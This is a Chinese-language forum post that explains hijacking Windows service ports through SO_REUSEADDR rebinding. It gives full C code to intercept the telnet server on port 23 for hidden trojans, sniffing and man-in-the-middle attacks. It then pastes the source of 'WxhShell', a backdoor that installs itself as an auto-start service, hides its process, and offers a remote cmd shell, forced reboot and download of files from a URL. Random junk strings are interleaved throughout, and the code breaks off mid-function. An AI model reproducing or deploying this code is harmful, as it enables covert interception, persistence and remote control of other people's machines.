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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N) V7yo?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9|G=KN)P:  
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  saddr.sin_family = AF_INET; 654jS!  
0-t4+T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0+2Matk>.  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5EV8zf  
qs8K jG@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Be14$7r  
J<5vs3[9  
  这意味着什么?意味着可以进行如下的攻击: VvM U)  
Tl/Dq(8JH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^Lg{2hjj  
P :7l#/x_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ('o; M:  
o{-USUGj7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]Gd]KP@S  
VtPoc(o4]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kGBl)0pr`x  
PU@U@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {C0OrO2:  
P`IMvOs&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d~z<,_ r5c  
 7 zP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v-r[~  
c J"]yG)=  
  #include {L2Gb(YLW  
  #include eed\0  
  #include \'^Z_6{w  
  #include    `aWwF} +Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tpx3:|  
  int main() H{tOCYyD  
  { gU 2c--`  
  WORD wVersionRequested; kmwrv -W  
  DWORD ret; Fp|rMq  
  WSADATA wsaData; PEQvEruZ}  
  BOOL val; 5Ret,~Vs9|  
  SOCKADDR_IN saddr; 9:Z~}yX  
  SOCKADDR_IN scaddr; %Ty {1'o  
  int err; 2DBFXhP  
  SOCKET s; HI?~t| [y  
  SOCKET sc; |s3HeY+Co  
  int caddsize; U+}9X^  
  HANDLE mt; sxQ,x/O  
  DWORD tid;   7!yF5 +_d  
  wVersionRequested = MAKEWORD( 2, 2 ); W9:{pQG  
  err = WSAStartup( wVersionRequested, &wsaData ); vM3|Ti>a'  
  if ( err != 0 ) { `_{ '?II  
  printf("error!WSAStartup failed!\n"); K'rs9v"K|  
  return -1; Zz*mf+  
  } Ky~~Cd$  
  saddr.sin_family = AF_INET; ,c %gwzU  
   N{z(|2{A#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (Gk]<`d#N  
wm`"yNbD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q+js2?7^  
  saddr.sin_port = htons(23); [Ik B/Xbw|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W oG  
  { TV>R(D3T/  
  printf("error!socket failed!\n"); > Vm  
  return -1; pC.P  
  } ej53O/hP  
  val = TRUE; ^p%+rB.j[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]x{H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6]A\8Ty  
  { kT=|tQ@  
  printf("error!setsockopt failed!\n"); x=|@AFI  
  return -1; w}<I\*\`!  
  } Vx8.FNJh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; " yl"A4p S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z#67rh {  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u"$HWB~@z  
eb woMG,B-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'QS~<^-j"  
  { znpZ0O\!  
  ret=GetLastError(); 3/<^R}w\  
  printf("error!bind failed!\n"); 5W '|qmJ  
  return -1; XE%6c3s  
  } K4L#%KUPW  
  listen(s,2); .tZ$a_O  
  while(1) 6j![m+vo%  
  { ZlXs7 &_  
  caddsize = sizeof(scaddr); *3oQS"8  
  //接受连接请求 G2k71{jK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;] o^u.PC  
  if(sc!=INVALID_SOCKET) 9:5NX3"p  
  { =v"{EmT[$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bTKxv<  
  if(mt==NULL) {D.0_=y~2  
  { oK[,xqyA  
  printf("Thread Creat Failed!\n"); ~/[N)RFD  
  break; 'v)+S;oB  
  } r{;4(3E2  
  } O/@[VPf  
  CloseHandle(mt); o?8j *]  
  } :Dm@3S$4<  
  closesocket(s); ;:1mv  
  WSACleanup(); j0M;2 3@[  
  return 0; 1 .k}gl0<  
  }   8\_,Y ji  
  DWORD WINAPI ClientThread(LPVOID lpParam) D]_\i[x  
  { j KK48S  
  SOCKET ss = (SOCKET)lpParam; M,lu)~H  
  SOCKET sc; 9LRY  
  unsigned char buf[4096]; }k~0R-m  
  SOCKADDR_IN saddr; G _o4A:2  
  long num; LRgk9*@,  
  DWORD val; L2tmo-]nw  
  DWORD ret; .=D6<4#t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HX[#tT|m~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t?Znil|o  
  saddr.sin_family = AF_INET; /iy/2x28>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W5 }zJ)x  
  saddr.sin_port = htons(23); '?4[w]0J<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kep?=9r4+  
  { 3M`J.>  
  printf("error!socket failed!\n"); o)DKP>IM#  
  return -1; c Ix(;[U  
  } B5S1F4  
  val = 100; y3GIR f;>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "b;?2_w:E  
  { %*hBrjbj  
  ret = GetLastError(); v4zARE9#  
  return -1; xCD+qP ^  
  } l0V@19Ec  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &v88x s  
  { uR[i9%=8L(  
  ret = GetLastError(); s,8%;\!C  
  return -1; 9:>vl0  
  } }W J`q`g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K(Nk|gQ  
  { *{bqHMd4L  
  printf("error!socket connect failed!\n"); "`wq:$R  
  closesocket(sc); /:)4tIV  
  closesocket(ss); IG\\RYr  
  return -1; A_+ WY|#M  
  } Z'~FZRF  
  while(1) s Y,3  
  { TfOZ>uR"g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ){Y2TWW&0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nK[$ID  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ' =kX   
  num = recv(ss,buf,4096,0); a &j?"o  
  if(num>0) R:E:Y|&#  
  send(sc,buf,num,0); (`N/1}vk  
  else if(num==0) hV%l}6yS&  
  break; 6r`g+Js/  
  num = recv(sc,buf,4096,0); U7N<!6  
  if(num>0) VI4d/2e  
  send(ss,buf,num,0); ) )Nc|`  
  else if(num==0) iT5%X   
  break; bP[/  
  } Jq->DzSmj/  
  closesocket(ss); !}%giF$-  
  closesocket(sc); d$ /o\G  
  return 0 ; mTt 9 o9E  
  } "T'!cy  
Co M8  
[O3R(`<e5  
========================================================== 9o6y7hEQy  
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下边附上一个代码,,WXhSHELL ;Mc}If*  
Mm5l>D'c  
========================================================== mnePm{  
qy !G&  
#include "stdafx.h" ] 3v  
_ n>0!  
#include <stdio.h> ]Vubz54  
#include <string.h> 9:Y\D.M  
#include <windows.h> 3ySnAAG  
#include <winsock2.h> srC jq  
#include <winsvc.h> +$9w[ARN+  
#include <urlmon.h> c}Qc2D3*  
.C1^QY-wL  
#pragma comment (lib, "Ws2_32.lib") V3-LVgM%  
#pragma comment (lib, "urlmon.lib") mb#)w`<  
Lh+^GQ  
#define MAX_USER   100 // 最大客户端连接数 mHP1.Z`  
#define BUF_SOCK   200 // sock buffer XDn$=`2  
#define KEY_BUFF   255 // 输入 buffer (GeJBw,Q  
i55']7+0  
#define REBOOT     0   // 重启 E?;W@MJi  
#define SHUTDOWN   1   // 关机 r"n)I$  
TiOvrp7B  
#define DEF_PORT   5000 // 监听端口 aoBM _#  
Nb$)YMbA  
#define REG_LEN     16   // 注册表键长度 N9i>81tY  
#define SVC_LEN     80   // NT服务名长度 1q*3V8  
Z/0M9 Q%  
// 从dll定义API 8z+ CYeV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )a.U|[:y[+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -0W;b"]+A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i^n&K:6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A}%sF MA  
rlds-j''  
// wxhshell配置信息 "];19]x6q  
struct WSCFG { |OC6yN *P)  
  int ws_port;         // 监听端口 wk3yz6V2  
  char ws_passstr[REG_LEN]; // 口令 )qKfTt N`  
  int ws_autoins;       // 安装标记, 1=yes 0=no n>@(gDq  
  char ws_regname[REG_LEN]; // 注册表键名 L 0|u^J  
  char ws_svcname[REG_LEN]; // 服务名 rR7}SEa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Di&tm1R1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2sXWeiJy;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7==Uoy*O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SDot0`s>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4Iz~3fqB7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rod{77  
8U-}%D<a  
}; 1|zo -'y  
G6I>Ry[2?  
// default Wxhshell configuration SnVnC09y  
struct WSCFG wscfg={DEF_PORT, V8c&2rNa  
    "xuhuanlingzhe", KQEnC`Nz  
    1, `InS8PLr  
    "Wxhshell", X&K1>dgWP  
    "Wxhshell", ?&N JN/+%  
            "WxhShell Service", ,fL*yn  
    "Wrsky Windows CmdShell Service", i |C'_gw`n  
    "Please Input Your Password: ", @P% &Dha  
  1, wL}=$DN  
  "http://www.wrsky.com/wxhshell.exe", [1N*mY;  
  "Wxhshell.exe" fSSDOH!U,  
    }; xY@V.  
,3x3&c  
// 消息定义模块 oJ5V^.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x ;kW }U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B[8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  snX5mD  
char *msg_ws_ext="\n\rExit."; z0c_&@uj*  
char *msg_ws_end="\n\rQuit."; 8)T.[AP  
char *msg_ws_boot="\n\rReboot..."; >R :Bkf-  
char *msg_ws_poff="\n\rShutdown..."; O[$ &]>x]]  
char *msg_ws_down="\n\rSave to "; 8E|S`I  
`|I h"EZ  
char *msg_ws_err="\n\rErr!"; Lg-Sxz}P!  
char *msg_ws_ok="\n\rOK!"; ]81P<Y(7  
@q|I$'K]x  
char ExeFile[MAX_PATH]; p*vEVo  
int nUser = 0; b]@^SN9  
HANDLE handles[MAX_USER]; INi(G-!g  
int OsIsNt; /-1[}h%U'  
rIy,gZr.U  
SERVICE_STATUS       serviceStatus; ^xFZ;Yf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _},u[+  
^hLAMaR  
// 函数声明 B!6?+< J"  
int Install(void); IE,xiV  
int Uninstall(void); >=$( ,8"  
int DownloadFile(char *sURL, SOCKET wsh); 85m_jmh[  
int Boot(int flag); @=:( b"Sg  
void HideProc(void); V D-,)f  
int GetOsVer(void); y1z4qSeM  
int Wxhshell(SOCKET wsl); 1^$ vmULj  
void TalkWithClient(void *cs); '9*(4/,UJJ  
int CmdShell(SOCKET sock); tKu'Q;J  
int StartFromService(void); <$/'iRtRzW  
int StartWxhshell(LPSTR lpCmdLine); /dj r_T  
j#zUO&Q@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P6@(nGgK<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !Yd7&#s  
6_rS!X  
// 数据结构和表定义 UhXZ^ k3  
SERVICE_TABLE_ENTRY DispatchTable[] = 9*U3uyPi  
{ Yq}(O<ol  
{wscfg.ws_svcname, NTServiceMain}, $3w a%"  
{NULL, NULL} LL4yafh  
}; ~}PB&`%7  
CB:G4VqOT  
// 自我安装 a}EO7tcg,  
int Install(void) 1UT&kD!si  
{ z q _*)V  
  char svExeFile[MAX_PATH];  1ti+ Q0~  
  HKEY key; ]+Ik/+Nz  
  strcpy(svExeFile,ExeFile); N8_ c%6GE  
wgp{P>oBX  
// 如果是win9x系统,修改注册表设为自启动 9Eu.Y  
if(!OsIsNt) { .Xqe]cax%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F=bX\T7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *;5P65:u$>  
  RegCloseKey(key); V]&0"HX2r!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <XDYnWz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &3#19v7/  
  RegCloseKey(key); ===M/}r  
  return 0; /J9|.];%r  
    } unY+/p $  
  } 5R"iF+p4  
} $t}t'uJ  
else { * `1W})  
dn!#c=  
// 如果是NT以上系统,安装为系统服务 8A}cxk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8&t3a+8l  
if (schSCManager!=0) ?%K7IJ%  
{ FX}kH]  
  SC_HANDLE schService = CreateService .ww~'5b0  
  ( VI_8r5o  
  schSCManager, 3V2dN )\  
  wscfg.ws_svcname, -!4Mmp"2@u  
  wscfg.ws_svcdisp, S+9}W/  
  SERVICE_ALL_ACCESS, dX^ ^ @7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p(vmMWR!  
  SERVICE_AUTO_START, gn,D9d+  
  SERVICE_ERROR_NORMAL, /zV&ebN]  
  svExeFile, p^J=*jm)x  
  NULL, H;D 5)eJ90  
  NULL, ~$w9L998+  
  NULL, .0 }eg$d  
  NULL, :Q]P=-Y8  
  NULL v%^"N_]  
  ); - ,YoVB!T  
  if (schService!=0) (+aU,EQ  
  { Q^trKw~XNy  
  CloseServiceHandle(schService); 7H=V|Btnc  
  CloseServiceHandle(schSCManager); X?f\j"v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q7#Yw"#G!  
  strcat(svExeFile,wscfg.ws_svcname); 5TynAiSD_>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r{g8CIwGQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [[FDt[ l4  
  RegCloseKey(key); ?cur}`  
  return 0; !a9`]c  
    } 4J5 RtK  
  } .30eO_msK  
  CloseServiceHandle(schSCManager); 1buVV]*~  
} tXXnHEz  
} ^K3Bn  
-F7P$/9  
return 1; $Sls9H+.  
} yor6h@F1  
3%~c\naD?O  
// 自我卸载 K&'Vd@  
int Uninstall(void) ' Bx"i  
{ y <] x  
  HKEY key; qe[P'\]L  
H3#rFO"C*  
if(!OsIsNt) { ?Z(xu~^/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fug F k  
  RegDeleteValue(key,wscfg.ws_regname); BZP{{  
  RegCloseKey(key); Ht4A   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6N< snBmd  
  RegDeleteValue(key,wscfg.ws_regname); Wd>gOE  
  RegCloseKey(key); z{m%^,Cs,  
  return 0; eHE?#r16Z  
  } XP%/*am  
} IoKN.#;^  
} _jWGwO  
else { g>*P}r~;^b  
ihp>cl?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /< -+*79G  
if (schSCManager!=0) M!4}B  
{ '5etZ!:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b}HwvS:  
  if (schService!=0) 3]rd!Gp=*  
  { +/ U6p!  
  if(DeleteService(schService)!=0) { l1UN.l'p  
  CloseServiceHandle(schService); Lq#$q>!K  
  CloseServiceHandle(schSCManager); sjj,q?  
  return 0; d$5\{YLy  
  } jI!WE$dt  
  CloseServiceHandle(schService); }AG dWt@  
  } / NB;eV?  
  CloseServiceHandle(schSCManager); vYNu=vnM  
} ana?;NvC  
} .azA1@V|  
M0K+Vz=  
return 1; _>u0vGF-  
} >A.m`w  
2)T.Ci cx  
// 从指定url下载文件 W.m2`] &  
int DownloadFile(char *sURL, SOCKET wsh) (W'3Zv'f  
{ rUDMQxLruV  
  HRESULT hr; zlhI\jRdc  
char seps[]= "/"; p<8Ga.kiN  
char *token; 3?r?)$Jk  
char *file; 4l?"zv1  
char myURL[MAX_PATH]; PzH#tG&.j  
char myFILE[MAX_PATH]; mvXIh";  
'Ivr =-  
strcpy(myURL,sURL); Yq0jw&v  
  token=strtok(myURL,seps); Evt&N)l!^  
  while(token!=NULL) dkAY%ztwo  
  { _ipY;  
    file=token; C^fUhLVSZ^  
  token=strtok(NULL,seps); ; %mYsQ  
  } Al^h^ 9tJ  
h e1=  
GetCurrentDirectory(MAX_PATH,myFILE); \(;X3h  
strcat(myFILE, "\\"); 9-hVlQ~|  
strcat(myFILE, file); S*'  
  send(wsh,myFILE,strlen(myFILE),0); ;oivG)hJl  
send(wsh,"...",3,0); f0ME$:2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VQ/Jz5^  
  if(hr==S_OK) " "{#~X}  
return 0; uTvck6  
else RGz NZc  
return 1; uoMDf{d  
[`U9  
} dW9Ci"~v  
g1(`a`M  
// 系统电源模块 p -wEPC0  
int Boot(int flag) 0Q5fX}  
{ 0=I:VGC3  
  HANDLE hToken; YdF\*tZ  
  TOKEN_PRIVILEGES tkp; lQl  
g/BlTi  
  if(OsIsNt) { bFwc>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {N`<TH PP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~]C m  
    tkp.PrivilegeCount = 1; sHf.xc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yQdoy^d/4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m)"wd$O^w  
if(flag==REBOOT) { -eQ70BXvB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [.LbX`K:  
  return 0; ~spfQV~  
} Hi Pd|D  
else { /8"9 sf *  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +X4/l"|  
  return 0; +/Qgl  
} Jwe9L^gL  
  } ?n9?`8a#  
  else { W>T6Wlxu`6  
if(flag==REBOOT) { pipqXe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QTbv3#  
  return 0; Hribk[99  
} A-5'OI  
else { cUK9EOPe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `AcT}. u  
  return 0; |}2X|4&X  
} sEm064  
} !/wR[`s9w  
JsyLWv@6xa  
return 1; (|_N2R!  
} fLR\@f  
6y}|IhX?z  
// win9x进程隐藏模块 2}8xY:|@(U  
void HideProc(void) Y=YIz>u  
{ cr"AK"TQ  
t182&gpd`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |Y|gT*v  
  if ( hKernel != NULL ) 5fDnr&DR  
  { e9@7GaL`"S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &(t/4)IZox  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +ht{ARX2(  
    FreeLibrary(hKernel); d/!R;,^  
  } M73d^z  
Fg<rz&MR  
return; mOE%:xq9-  
} L2 ^-t7  
E|>oseR  
// 获取操作系统版本 Cp[ NVmN  
int GetOsVer(void) <Zn -P  
{ $2lPUQZ<5  
  OSVERSIONINFO winfo; RJO40&Z<Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WZ]f \S  
  GetVersionEx(&winfo); %jnSJjcq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JOvRU DZ  
  return 1; /2#1Oi)o  
  else }Rx`uRx\  
  return 0; F|3iKK022  
} Hd9vS"TN]  
WjVj@oC  
// 客户端句柄模块 0}d^UGD  
int Wxhshell(SOCKET wsl) =%+O.  
{ G.[,P~yy.  
  SOCKET wsh; L}x,>hbT  
  struct sockaddr_in client; k}h\RCy%f  
  DWORD myID; \WN ,.  
/ Hg/)  
  while(nUser<MAX_USER) &)y$XsSMW  
{ a/v!W@Zz}  
  int nSize=sizeof(client); {Z^  G]@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]1k"'XG4,  
  if(wsh==INVALID_SOCKET) return 1; &3t[p=  
_I1:|y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OqcM3#  
if(handles[nUser]==0) Sl7x>=  
  closesocket(wsh); CW)JS3}W"  
else 2S^:fm}  
  nUser++; Tb@r@j:V  
  } Gi=s|vt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _>k&M7OU4  
!/;/ X\d  
  return 0; 2/ES.>K!.  
} uz%<K(:Ov  
i3[%]_eP.  
// 关闭 socket `{GI^kgJ9  
void CloseIt(SOCKET wsh) a?dUJt  
{ $2gX!)  
closesocket(wsh); 6J""gyK.  
nUser--; <jwQ&fm)/R  
ExitThread(0); Jdc{H/10  
} 4[VW~x07  
uZ/XI {/  
// 客户端请求句柄 N3rq8Rk  
void TalkWithClient(void *cs) ??u*qO:p  
{ XGCjB{IV  
vv FH (W  
  SOCKET wsh=(SOCKET)cs; c`E0sgp  
  char pwd[SVC_LEN]; \a7caT{  
  char cmd[KEY_BUFF]; BGOajYD  
char chr[1]; 618k-  
int i,j; Z&![W@m@0N  
;rqW?':(i  
  while (nUser < MAX_USER) { ALY3en9,  
L#6!W  
if(wscfg.ws_passstr) { <<M1:1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W_bp~Wu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @yj$  
  //ZeroMemory(pwd,KEY_BUFF); L}M%z9K` h  
      i=0; m<liPl uv  
  while(i<SVC_LEN) { >.o<}!FW  
2K VX  
  // 设置超时 s$D"  
  fd_set FdRead; 4Wk`P]?^  
  struct timeval TimeOut; 6'[gd  
  FD_ZERO(&FdRead); 8quH#IhB  
  FD_SET(wsh,&FdRead); #6F|}E  
  TimeOut.tv_sec=8; =_=0l+\}  
  TimeOut.tv_usec=0; 5I>a|I!j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /)*si  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &WJ;s*  
`P/87=h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #\ l#f8(l  
  pwd=chr[0]; *bl|[(pP  
  if(chr[0]==0xd || chr[0]==0xa) { yW]>v>l:Eg  
  pwd=0; <0btwsv}  
  break; 9l<}`/@}W  
  } @ *&`1  
  i++; -_^#7]  
    } c1M *w9o  
9WT{~PGj  
  // 如果是非法用户,关闭 socket [5;_XMj%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2= )V"lR\  
} f#&@Vl(i&  
kIJ=]wU|v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v`\CzT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R@ MXwP  
vs2xx`Y<Lq  
while(1) { ^0(`:*  
q22@ZRw  
  ZeroMemory(cmd,KEY_BUFF); H8A=]Gq  
h3(B7n7  
      // 自动支持客户端 telnet标准   1[]V @P^  
  j=0; :a*F>S!  
  while(j<KEY_BUFF) { T~naAP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |]'gd)%S\  
  cmd[j]=chr[0]; H><! C  
  if(chr[0]==0xa || chr[0]==0xd) { 6Tg'9|g  
  cmd[j]=0; L"'L@ A|U  
  break; EASN#VG  
  } 'e*:eBoyb  
  j++; 3A'9=h,lVK  
    } fiQ/ &]|5  
F-<c.0;6  
  // 下载文件 vpP8'f.  
  if(strstr(cmd,"http://")) { :auq#$B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9=9R"X>L  
  if(DownloadFile(cmd,wsh)) LDbo=w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -c p)aH)  
  else oR}'I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vFK!LeF%  
  } ]//D d/L6  
  else { ,A9{x\1!  
l<p6zD$l  
    switch(cmd[0]) { &t@|/~%[  
  t<yOTVah  
  // 帮助 6Z!OD(/e  
  case '?': { rp!>rM] s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ka<rlh<h  
    break; }qN   
  } t Z]b0T(e  
  // 安装 ,%]x T>kH  
  case 'i': { fH 0&Wc3yC  
    if(Install()) WZf}1.Mh*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_E@cZ4  
    else fYzZW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,,~|o3cfq  
    break; bX`VIFc  
    } E|ZLz~  
  // 卸载 Y4)=D@JI  
  case 'r': { 2^fSC`!  
    if(Uninstall()) u<nPJeE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p 4Y 2AQ9  
    else q&V=A[<rz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6@J)k V  
    break; L7B(abT9e  
    } t**o<p#)f  
  // 显示 wxhshell 所在路径 9 [wR/8Xm  
  case 'p': { A{ Ejk|  
    char svExeFile[MAX_PATH]; \"Aw ATQ  
    strcpy(svExeFile,"\n\r"); xmwH~UWp  
      strcat(svExeFile,ExeFile); IfpFsq:  
        send(wsh,svExeFile,strlen(svExeFile),0); K Z Q `  
    break; ?OdJ t  
    } "kkZK=}Nv  
  // 重启 qW t 9Tr  
  case 'b': { BZRC0^-C@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r&D&xsbQ  
    if(Boot(REBOOT)) Gu\lV c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c{cJ>d 0  
    else { vY(xH>Fd  
    closesocket(wsh); qh 9Ix  
    ExitThread(0); usOIbrQ  
    } S<DS|qOo  
    break; >TwL&la  
    } P*6&0\af|  
  // 关机 M UqV$#4@I  
  case 'd': { aDE)Nf}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bId@V[9  
